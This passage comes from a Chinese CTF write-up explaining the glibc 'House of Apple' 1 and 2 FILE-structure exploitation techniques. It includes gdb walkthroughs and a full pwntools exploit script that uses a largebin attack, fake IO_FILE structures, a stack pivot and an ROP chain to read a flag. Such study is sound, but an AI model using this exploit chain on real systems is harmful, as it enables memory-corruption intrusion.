\/><\/div><\/figure>\n\n\n\n<p>\u4fee\u6539\u540e\u957f\u8fd9\u6837<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-42.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"868\" height=\"232\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-42.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-265\"  sizes=\"(max-width: 868px) 100vw, 868px\" \/><\/div><\/figure>\n\n\n\n<p>\u786e\u5b9e\u6ee1\u8db3\u6211\u4eec\u7684\u63a8\u6d4b\uff0c\u4fee\u6539\u540e\u7684\u503c\u4e5f\u786e\u5b9e\u5c31\u662fheapaddr+0xf0\u6216heapaddr+0x1f0<\/p>\n\n\n\n<p>\u63a5\u7740\u8c03\u7528\u7684\u662f_IO_cookie_read\uff0c\u8be5\u51fd\u6570\u53ef\u4ee5\u5e2e\u52a9\u6211\u4eec\u52ab\u6301\u7a0b\u5e8f\u63a7\u5236\u6d41<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-43-893x1024.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"893\" height=\"1024\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-43-893x1024.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-266\"  sizes=\"(max-width: 893px) 100vw, 893px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-44-1024x549.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"549\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-44-1024x549.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-267\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u7a0b\u5e8f\u786e\u5b9e\u6309\u7167\u9884\u671f\u6267\u884c\u5230\u4e86magic gadget\uff08\u8fd9\u91cc\u91cd\u65b0\u5f00\u4e86\u4e00\u904dgdb\uff0c\u6240\u4ee5\u5806\u5730\u5740\u53d8\u4e86\uff09\uff0c\u8fd9\u6bb5magic gadget\u786e\u5b9e\u5f88\u795e\u5947\uff0c\u9996\u5148\u770b\u4e00\u770b\u8fd9\u4e2a\u5730\u5740\u5f80\u4e0b\u7684\u4e00\u5757\u90fd\u5b58\u7684\u4ec0\u4e48\u503c<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-46.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"822\" height=\"305\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-46.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-269\"  sizes=\"(max-width: 822px) 100vw, 822px\" \/><\/div><\/figure>\n\n\n\n<p>\u5176\u5b9e\u5bf9\u5e94\u4e86exp\u91cc\u7684\u8fd9\u90e8\u5206\u4e1c\u897f<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-47.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"484\" height=\"522\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-47.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-270\"  sizes=\"(max-width: 484px) 100vw, 484px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-48.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"793\" height=\"109\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-48.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-271\"  sizes=\"(max-width: 793px) 100vw, 793px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-49.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"880\" height=\"88\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-49.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-272\"  sizes=\"(max-width: 880px) 100vw, 880px\" \/><\/div><\/figure>\n\n\n\n<p>\u5176\u4ed6gadget\u4e0d\u518d\u679a\u4e3e<\/p>\n\n\n\n<p>\u6240\u4ee5call\u7684\u65f6\u5019call\u7684\u5b9e\u9645\u662fa30\u7684\u4f4d\u7f6e\uff0c\u4e5f\u5c31\u662fmov rsp\uff0crdx\uff0c\u5b9e\u9645\u4e0a\u662f\u4e00\u4e2a\u6808\u8fc1\u79fb\u7684\u6548\u679c\uff0c\u53ef\u4ee5\u770b\u5230\u6267\u884c\u540ersp\u6307\u5411\u4e86\u539f\u5148rdx\u7684\u4f4d\u7f6e\uff08\u5806\u5730\u5740\uff09\uff0c\u53c8\u7531\u4e8e\u63a5\u4e0b\u6765\u67092\u4e2aret\uff0c\u4e00\u4e2apop\u548c\u4e00\u4e2aadd rsp\uff0c0x20\uff0c\u6545rsp\u4e00\u5171\u4f1a\u589e\u52a00x38\uff0c\u5373\u6307\u54110x563a6912fa48\uff0c\u8fd9\u91cc\u5b58\u653e\u7684\u662fpop rdi,ret\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-50.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1023\" height=\"310\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-50.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-273\"  sizes=\"(max-width: 1023px) 100vw, 1023px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e4b\u540e\u5c31\u662f\u8c03\u7528\u9884\u5148\u51c6\u5907\u597d\u7684ROP\u94fe\uff0c\u8bbe\u7f6e\u53c2\u6570\u5e76\u8c03\u7528mprotect\u66f4\u6539\u5806\u6743\u9650\uff08\u5176\u5b9e\u8fd9\u91cc\u76f4\u63a5\u6253ROP\u94fe\u8fdb\u884corw\u5c31\u53ef\u4ee5\u4e86\uff0c\u8fd9\u91cc\u663e\u5f97\u6709\u4e9b\u591a\u6b64\u4e00\u4e3e\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-51.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"867\" height=\"365\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-51.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-274\" style=\"width:840px;height:auto\"  sizes=\"(max-width: 867px) 100vw, 867px\" \/><\/div><\/figure>\n\n\n\n<p>\u6700\u540e\u8fd4\u56de\u5230chain+0x200\u7684\u4f4d\u7f6e\u53bb\u6267\u884corw\u7684shellcode<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-52-1024x76.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"76\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-52-1024x76.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-275\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u503c\u5f97\u4e00\u63d0\u7684\u662f\uff0c\u6709\u65f6\u5019\u4f1a\u7ed5\u8fc7\u4e00\u4e2a\u4fdd\u62a4\uff0c\u6240\u4ee5\u4fdd\u9669\u8d77\u89c1\u53ef\u4ee5\u8bbe\u7f6eflag2\u4e3a8\uff0c\u4f46\u8fd9\u9898\u6211\u628a\u4ed6\u6ce8\u91ca\u6389\u4e86\u4e5f\u80fd\u901a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>void\n_IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a)\n{\n  if (f-&gt;_wide_data-&gt;_IO_buf_base &amp;&amp; !(f-&gt;_flags2 &amp; _IO_FLAGS2_USER_WBUF))\n    free (f-&gt;_wide_data-&gt;_IO_buf_base); \/\/ \u5176\u4e0d\u4e3a0\u7684\u65f6\u5019\u4e0d\u8981\u6267\u884c\u5230\u8fd9\u91cc\n  f-&gt;_wide_data-&gt;_IO_buf_base = b;\n  f-&gt;_wide_data-&gt;_IO_buf_end = eb;\n  if (a)\n    f-&gt;_flags2 &amp;= ~_IO_FLAGS2_USER_WBUF;\n  else\n    f-&gt;_flags2 |= _IO_FLAGS2_USER_WBUF;\n}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">house of apple2<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%94%BB%E5%87%BB%E7%9A%84%E6%95%88%E6%9E%9C-2\"><\/span>\u653b\u51fb\u7684\u6548\u679c<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>\u6267\u884c\u4efb\u610f\u51fd\u6570\u6216gadget<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%AE%9E%E7%8E%B0%E7%9A%84%E6%9D%A1%E4%BB%B6-2\"><\/span>\u5b9e\u73b0\u7684\u6761\u4ef6<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>1.\u5df2\u77e5heap\u5730\u5740\u548cglibc\u5730\u5740<br>2.\u80fd\u63a7\u5236\u7a0b\u5e8f\u6267\u884cIO\u64cd\u4f5c\uff0c\u5305\u62ec\u4f46\u4e0d\u9650\u4e8e\uff1a\u4ecemain\u51fd\u6570\u8fd4\u56de\u3001\u8c03\u7528exit\u51fd\u6570\u3001\u901a\u8fc7__malloc_assert\u89e6\u53d1<br>3.\u80fd\u63a7\u5236_IO_FILE\u7684vtable\u548c_wide_data\uff0c\u4e00\u822c\u4f7f\u7528largebin attack\u53bb\u63a7\u5236<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%88%A9%E7%94%A8%E5%8E%9F%E7%90%86-2\"><\/span>\u5229\u7528\u539f\u7406<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>apple2\u7684\u5229\u7528\u539f\u7406\u662f\u8c03\u7528\u4e86wide_data\u91cc\u7684_wide_vtable\u6210\u5458\uff0c\u8be5\u6210\u5458\u5e76\u4e0d\u4f1a\u5bf9\u5176\u6307\u5411\u4f4d\u7f6e\u505a\u8fb9\u754c\u68c0\u67e5\uff0c\u6240\u4ee5\u53ef\u4ee5\u4f2a\u9020wide_data\u7684wide_vtable\u6210\u5458\u8ba9\u5176\u6307\u5411\u4e00\u4e2a\u53ef\u63a7\u5730\u5740\u3002<\/p>\n\n\n\n<p>\u6240\u4ee5\u6211\u4eec\u9996\u5148\u8981\u52ab\u6301_IO_list_all\uff0c\u64cd\u4f5c\u548capple1\u91cc\u4e00\u6837\uff0c\u90fd\u662f\u5229\u7528largebin attack\uff0c\u8fd9\u91cc\u4e0d\u518d\u591a\u8bf4\uff0c\u4e4b\u540e\u4fee\u6539vtable\u4e3a_IO_wfile_jumps\uff0c\u8fd9\u6837\u624d\u53ef\u4ee5\u8c03\u7528\u5230wide_vtable\u91cc\u7684\u51fd\u6570\uff0c\u4e4b\u540e\u8c03\u7528fflush\u51fd\u6570\u7684\u65f6\u5019\uff0c\u7a0b\u5e8f\u4f1a\u8c03\u7528\u5230_IO_wfile_overflow\u51fd\u6570\uff0c\u8be5\u51fd\u6570\u4f1a\u8c03\u7528wide_vtable\u91cc\u7684\u51fd\u6570\uff0c\u56e0\u6b64\u6211\u4eec\u5728\u8fd9\u91cc\u586b\u5199\u6211\u4eec\u7684ROP\u94fe\u6216\u8005\u540e\u95e8\u51fd\u6570\u5373\u53ef\uff0c\u5177\u4f53\u7684\u8c03\u7528\u6d41\u7a0b\u6458\u7f16\u81ea<a href=\"https:\/\/bbs.kanxue.com\/thread-273832.htm#msg_header_h2_2\">[\u539f\u521b] House of apple \u4e00\u79cd\u65b0\u7684glibc\u4e2dIO\u653b\u51fb\u65b9\u6cd5 (2)-Pwn-\u770b\u96ea-\u5b89\u5168\u793e\u533a|\u5b89\u5168\u62db\u8058|kanxue.com<\/a><\/p>\n\n\n\n<h5 class=\"wp-block-heading\">\u5229\u7528_IO_wfile_overflow\u51fd\u6570\u63a7\u5236\u7a0b\u5e8f\u6267\u884c\u6d41<br><\/h5>\n\n\n\n<p>\u5bf9fp\u8bbe\u7f6e\u5982\u4e0b<\/p>\n\n\n\n<p>1._flags\u8bbe\u7f6e\u4e3a~(2 | 0x8 | 0x800)\uff0c\u5982\u679c\u4e0d\u9700\u8981\u63a7\u5236rdi\uff0c\u8bbe\u7f6e\u4e3a0\u5373\u53ef\uff1b\u5982\u679c\u9700\u8981\u83b7\u5f97shell\uff0c\u53ef\u8bbe\u7f6e\u4e3a sh;\uff0c\u6ce8\u610f\u524d\u9762\u6709\u4e24\u4e2a\u7a7a\u683c<br>2.vtable\u8bbe\u7f6e\u4e3a_IO_wfile_jumps\/_IO_wfile_jumps_mmap\/_IO_wfile_jumps_maybe_mmap\u5730\u5740\uff08\u52a0\u51cf\u504f\u79fb\uff09\uff0c\u4f7f\u5176\u80fd\u6210\u529f\u8c03\u7528_IO_wfile_overflow\u5373\u53ef<br>3._wide_data\u8bbe\u7f6e\u4e3a\u53ef\u63a7\u5806\u5730\u5740A\uff0c\u5373\u6ee1\u8db3<em>(fp + 0xa0) = A _wide_data->_IO_write_base\u8bbe\u7f6e\u4e3a0\uff0c\u5373\u6ee1\u8db3<\/em>(A + 0x18) = 0<br>4._wide_data->_IO_buf_base\u8bbe\u7f6e\u4e3a0\uff0c\u5373\u6ee1\u8db3<em>(A + 0x30) = 0 _wide_data->_wide_vtable\u8bbe\u7f6e\u4e3a\u53ef\u63a7\u5806\u5730\u5740B\uff0c\u5373\u6ee1\u8db3<\/em>(A + 0xe0) = B<br>5._wide_data->_wide_vtable->doallocate\u8bbe\u7f6e\u4e3a\u5730\u5740C\u7528\u4e8e\u52ab\u6301RIP\uff0c\u5373\u6ee1\u8db3*(B + 0x68) = C<br>\u51fd\u6570\u7684\u8c03\u7528\u94fe\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>_IO_wfile_overflow\n    _IO_wdoallocbuf\n        _IO_WDOALLOCATE\n            *(fp->_wide_data->_wide_vtable + 0x68)(fp)<\/code><\/pre>\n\n\n\n<p>\u753b\u4e2a\u56fe\u89e3\u91ca\u4e00\u4e0b\u8c03\u7528\u6d41\u7a0b<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-53-1024x281.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"281\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-53-1024x281.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-288\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6574\u4f53\u5229\u7528\u6211\u8ba4\u4e3a\u6bd4apple1\u7b80\u5355\u5f88\u591a<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"exp%E8%AF%A6%E8%A7%A3\"><\/span>exp\u8be6\u89e3<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\nfrom pwncli import *\nio = process(\".\/oneday\")\n# io=remote('ctf.qwq.cc',10178)\nlibc = ELF(\".\/libc.so.6\")\ncontext.arch = 'amd64'\ncontext.log_level = 'debug'\ndef add(choice):\n    io.recvuntil(b'enter your command: \\n')\n    io.sendline(b'1')\n    io.recvuntil(b'choise: ')\n    io.sendline(str(choice).encode())\n\ndef delete(idx):\n    io.recvuntil(b'enter your command: \\n')\n    io.sendline(b'2')\n    io.recvuntil(b'Index: \\n')\n    io.sendline(str(idx).encode())\n\ndef edit(idx, message):\n    io.recvuntil(b'enter your command: \\n')\n    io.sendline(b'3')\n    io.recvuntil(b'Index: ')\n    io.sendline(str(idx))\n    io.recvuntil(b'Message: \\n')\n    io.send(message)\n\ndef show(idx):\n    io.recvuntil(b'enter your command: \\n')\n    io.sendline(b'4')\n    io.recvuntil(b'Index: ')\n    io.sendline(str(idx).encode())\n\ndef exit():\n    io.recvuntil(b'enter your command: \\n')\n    io.sendline(b'9')\n\nio.sendlineafter(b'enter your key >>\\n', str(10).encode())\nadd(2)#0\nadd(2)#1\nadd(1)#2\ndelete(2)\ndelete(1)\ndelete(0)\nadd(1)#3\nadd(1)#4\nadd(1)#5\nadd(1)#6\ndelete(3)\ndelete(5)\n\nshow(3)\nlibc_base = u64(io.recvuntil(b'\\x7f')&#91;-6:].ljust(8, b'\\x00')) - 0x1f2cc0\nio.recv(2)\nheap_base = u64(io.recv(6).ljust(8, b'\\x00')) - 0x17f0\ndelete(4)\ndelete(6)\nadd(3)#7\nadd(1)#8\nadd(1)#9\ndelete(8)\nadd(3)#10\n\ntarget_addr = libc_base + libc.sym&#91;'_IO_list_all']\n_IO_wstrn_jumps = libc_base + 0x1f3d20\n_IO_cookie_jumps = libc_base + 0x1f3ae0\n_lock = libc_base + 0x1f5720\npoint_guard_addr = _IO_wstrn_jumps+0xf910\nexpected = heap_base + 0x1900\nchain = heap_base + 0x1910\nmagic_gadget = libc_base + 0x146020\n_IO_file_jumps=libc_base+0x1f4560\n\nprint('libcbase:',hex(libc_base))\nprint('target_addr:',hex(target_addr))\nprint('expected:',hex(expected))\nprint('chain:',hex(chain))\nprint('magic_gadget:',hex(magic_gadget))\nprint('point_guard_addr:',hex(point_guard_addr))\nprint('_IO_wstrn_jumps:',hex(_IO_wstrn_jumps))\nprint('_IO_cookie_jumps:',hex(_IO_cookie_jumps))\nprint('_lock:',hex(_lock))\n\n\nmov_rsp_rdx_ret = libc_base + 0x56530\nadd_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449\npop_rdi_ret = libc_base + 0x2daa2\npop_rsi_ret = libc_base + 0x37c0a\npop_rdx_rbx_ret = libc_base + 0x87729\n\npop_rax=libc_base + 0x446c0\npop_r12=libc_base+0x000000000002d77a\npop_r12_r13=libc_base+0x000000000002eec7\npop_rax_rdx_rbx=libc_base+0x0000000000087728\nsyscall=libc_base+0x106009\nflagaddr=chain+0x300\nrsp=chain+0x208\nlibc_base+=0x2c000\nsetcontextaddr=libc_base+0x024bfd\n_IO_wfile_jumps=libc_base+0x1c8020\nprint('setcontext:',hex(setcontextaddr))\n\npayload=p64(0)+p64(2)\npayload+=p64(syscall)+p64(pop_r12)\npayload+=p64(setcontextaddr)+p64(pop_rsi_ret)\npayload+=p64(flagaddr)+p64(pop_rdi_ret)\npayload+=p64(3)+p64(pop_rax)\npayload+=p64(0)+p64(syscall)\npayload+=p64(pop_r12_r13)+p64(flagaddr)\npayload+=p64(4)+p64(pop_rax_rdx_rbx)\npayload+=p64(1)+p64(300)\npayload+=p64(0)+p64(pop_r12)\npayload+=p64(rsp)+p64(pop_rax)\npayload+=p64(1)+p64(pop_rdi_ret)\npayload+=p64(1)+p64(syscall)\n\nf1 = IO_FILE_plus_struct()\nf1._IO_read_ptr = 0xa81#\u6539\u62100x271\u53ef\u4ee5\u901a\u8fc7\u68c0\u67e5\uff0c\u56e0\u4e3a\u76f8\u5e94\u504f\u79fb\u7684\u4f4d\u7f6e\u586b\u4e860x4000\n# f1._IO_write_ptr=1\nf1.chain = chain\nf1._flags2 = 8\n# f1._lock = _lock\nf1._mode = 0\nf1._wide_data = chain\nf1.vtable = _IO_file_jumps\n\nf2=IO_FILE_plus_struct()\nf2._IO_read_ptr=chain+0x200\nf2._IO_write_ptr=1\nf2.chain = chain\nf2._flags2 = 8\n# f2._lock = _lock\nf2._mode = 0\nf2._wide_data = chain+0x100\nf2.vtable = _IO_wfile_jumps\n\n\ndata = flat({\n    0x8: target_addr - 0x20,\n    0x10: {\n        0: {\n            0: bytes(f1),\n            0x100:bytes(f2),#chain\n            0x200:{\n                0:&#91;0,0,0,0,0,0,0,0,0,0,0],\n                0xe0:chain+0x300\n            },\n            0x300:payload,\n            0x400:'flag\\0',\n            0x468:magic_gadget\n        },\n        0xa80: &#91;0, 0xab1]\n    }\n})\n\nedit(5, data)\ndelete(2)\nadd(3)\nprint('pop_rax:',hex(pop_rax))\n# attach(io)\n# pause()\nexit()\nio.interactive()<\/code><\/pre>\n\n\n\n<p>\u524d\u9762\u7684\u5806\u98ce\u6c34\u90e8\u5206\u548capple1\u5b8c\u5168\u4e00\u6837\uff0c\u6211\u4eec\u91cd\u70b9\u6765\u5206\u6790data\u7684\u6784\u9020<\/p>\n\n\n\n<p>\u6309\u7406\u8bf4\u6211\u4eec\u53ea\u9700\u8981\u6784\u9020\u4e00\u4e2aIOfile\u7ed3\u6784\u4f53\uff0c\u4e00\u4e2awide_data\u7ed3\u6784\u4f53\u548c\u4e00\u4e2a_wide_vtable\u7ed3\u6784\u4f53\uff0c\u4f46\u7531\u4e8e\u8fd9\u4e2a\u9898\u5f88\u7279\u6b8a\uff0c\u9700\u8981\u4f2a\u9020\u5806\u5757\uff0c\u5c31\u5012\u7f6e\u60f3\u8c03\u7528magic gadget\u7684\u8bdd\uff0cmov 